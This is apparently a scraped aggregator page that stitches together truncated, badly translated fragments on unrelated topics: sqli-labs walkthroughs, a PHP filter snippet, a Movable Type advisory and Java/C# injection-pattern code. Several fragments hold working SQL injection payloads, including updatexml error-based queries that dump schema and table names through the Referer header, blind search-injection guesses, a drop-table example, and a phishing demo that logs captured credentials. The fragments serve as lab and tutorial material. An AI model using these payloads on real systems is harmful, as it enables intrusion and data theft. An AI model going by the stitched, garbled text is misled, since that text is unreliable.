Tags: count src share span ATI and field group by issuesThis is the classic sqli-labs in the less-5 problem first tested by a few commonFind out that as long as it is correct, you will be exporting your is in .... Can not be bypassed, so the sensitive information can not appear, so a new idea (refer to the White Hat Academy tutorial) based on the injection of error, test on the database, produce an errorHttp://localhost/sqlilabs/Less-5/index.php?id=3
", "delete", "Load_file", "outfile");
URL to jump after an error
The code is as follows
Copy Code
$strgourl = "";function Funstringexist ($strfiltrate, $arrfiltrate){foreach ($arrfiltrate as $key => $value){if (eregi ($value, $strfiltrate)){return true;}}return false;}
Merging $_post, $_get and $_cookie
The code is as follows
Copy Code
if (function_exists (Array_merge)){$arrpostgetcookiesession =array_merge ($http _pos
Core ConceptsWAFWeb application Firewall (Web application Firewall), or WAF.Web attacksAttacks initiated against web apps, including but not limited to the following types of attacks: SQL injection, XSS cross-site, Webshell upload, Command injection, illegal HTTP protocol request, unauthorized file access, and more.waf--attacks against web apps, including but not limited to the following types of attacks: S
Release date:Updated on:
Affected Systems:Movable Type 4.37Movable Type 4.361Movable Type 4.36Movable Type 4.35Movable Type 4.34Movable Type 4.27Movable Type 4.261Movable Type 4.26Movable Type 4.25Movable Type 4.24Movable Type 4.23Movable Type 4.22Movable Type 4.21Unaffected system:Movable Type 4.38Description:--------------------------------------------------------------------------------Bugtraq id: 57490CVE (CAN) ID: CVE-2013-0209Movable Type is a multi-functional social publishing platform.Pr
Download Postsharp (Visual Studio Gallery).Install an AOP compiler and introduce postsharp.aspects (note the free Express version during installation), and then the initial demo code:usingpostsharp.aspects;usingSystem;namespaceconsoleapplication1{[Serializable] Public classAopiltestattribute:onmethodboundaryaspect { Public Override voidonentry (Methodexecutionargs args) {Console.WriteLine ("Entry Method:"+args. Method.name); varArgumentList =args. Arguments; vararguments =a
objectreturn Map.get (name);}}*************My handle class:*************public class Handle implements invocationhandler{Private Object obj;Public Handle (Object obj) {This.obj = obj;}@Overridepublic object invoke (object proxy, Method method, object[] args) throws Throwable {Filter out the pre-and post-execution methods of the service layerif (Method.tostring (). Contains ("Service")) {return Method.invoke (obj, args);}Add pre-and post-execution methods only at the DAO layerDobefor ();Object o
Here is the use of MVC three injection points: Idependencyresolver for InjectionThe Global.asax code in the global class is as follows: #region MVC Inject System.Web.Mvc.DependencyResolver.SetResolver (new DaHua.Sites.DependencyResolve (DaHua.Common.Runtime.EngineContext.Current, System.Web.Mvc.DependencyResolver.Current)); #endregionImplementation class: /// ///MVC injection
Because the current SQL injection is very popular and the technology threshold is lower attack means, and very practical, light can get some of the site's accounts, such as a movie site to get the gold member of the account number, heavy use of its website building more intrusion into the entire server and so on.
This is intended as a topic to explain SQL and its injection. Where the SQL is not clear where
Attack | Tutorials because the current SQL injection is very popular and the technology threshold is low attack means, and very practical, light can get some of the site's accounts, such as to get a movie site of the gold member of the account number, heavy use of its website building more intrusion into the entire server and so on.
This is intended as a topic to explain SQL and its injection. Where the SQ
Tags: pass tables img Style upd limit inject ref blogThis, like Less18, is a header-based injection.This time the field is Referer123 ' and Updatexml (1,concat (0x7e,database (), 0x7e), 1), 1) #Referer:123 ' and Updatexml (1,concat (0x7e, (select table_name from information_schema.tables where table_schema= ' Security ' limit 0,1), 0x7e), 1), 1) #Referer:123 ' and Updatexml (1,concat (0x7e, (select column_name from information_schema.columns where table_schema= ' Security ' and table_name= ' use
security.Even so far, some people don't even know the basic semantics of SQL syntax.String sql = "SELECT * from Tb_name where name= '" +varname+ "' and passwd= '" +varpasswd+ "'";If we pass [' or ' 1 ' = ' 1] in as varpasswd. User name feel free to see what will become?SELECT * from tb_name = ' random ' and passwd = ' or ' 1 ' = ' 1 ';Because ' 1 ' = ' 1 ' is sure to be true, so you can pass any validation. What's more:Put [';d rop table tb_name;] Incoming in as VARPASSWD:SELECT * from tb_name
This gives malicious students the opportunity to use the input of some strange query string, splicing into a specific SQL statement, you can achieve the purpose of injection. Not only can you get important information about the database, you can even delete the entire table if the permissions are not set properly. As a result, SQL injection vulnerabilities are fairly serious. Found that I have just learned
This time, username and password all have input checks.However, IP and uagent are not verifiedWhen we use Admin admin login successful, will be an INSERT statementBecause the program trusts the header information of the browser unconditionally, it constructs the injection by modifying the header information of the HTTP packet.Packet interception/modification using BurpsuiteModify the User-agent field, add a single quotation markuser-agent:mozilla/5.0
It is actually a phishing scam.
UBB call: [img] http: // 127.0.0.1/phpsec/image_injection.php [/img]Normal call:
After accessing the page, open the Login Dialog Box and ask you to enter the account and password (you can only cheat children and middle-aged people ?)
Generate a log file:
127.0.0.1 | -- | admin | -- | menzhi007 | -- | 1248945464127.0.0.1 | -- | admin | -- | menzhi007 | -- | 1248945466127.0.0.1 | -- | admin | -- | menzhi007 | -- | 1248945466127.0.0.1 | -- | admin | -- | menzhi007 |
Suzhou
When I encountered a search injection, I guessed it by hand, and almost didn't vomit blood.
Guess the Database Name
Article 1: 1% and (select length (group_concat (SCHEMA_NAME) from information_schema.schemata)> 0 and % =
Article 2: 1% and (select ord (mid (group_concat (SCHEMA_NAME), 20, 1) from information_schema.schemata)> 0 and % =
Guess to show
Article 3: 1% and (select length (group_concat (table_name) from information_schema.tables wher
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.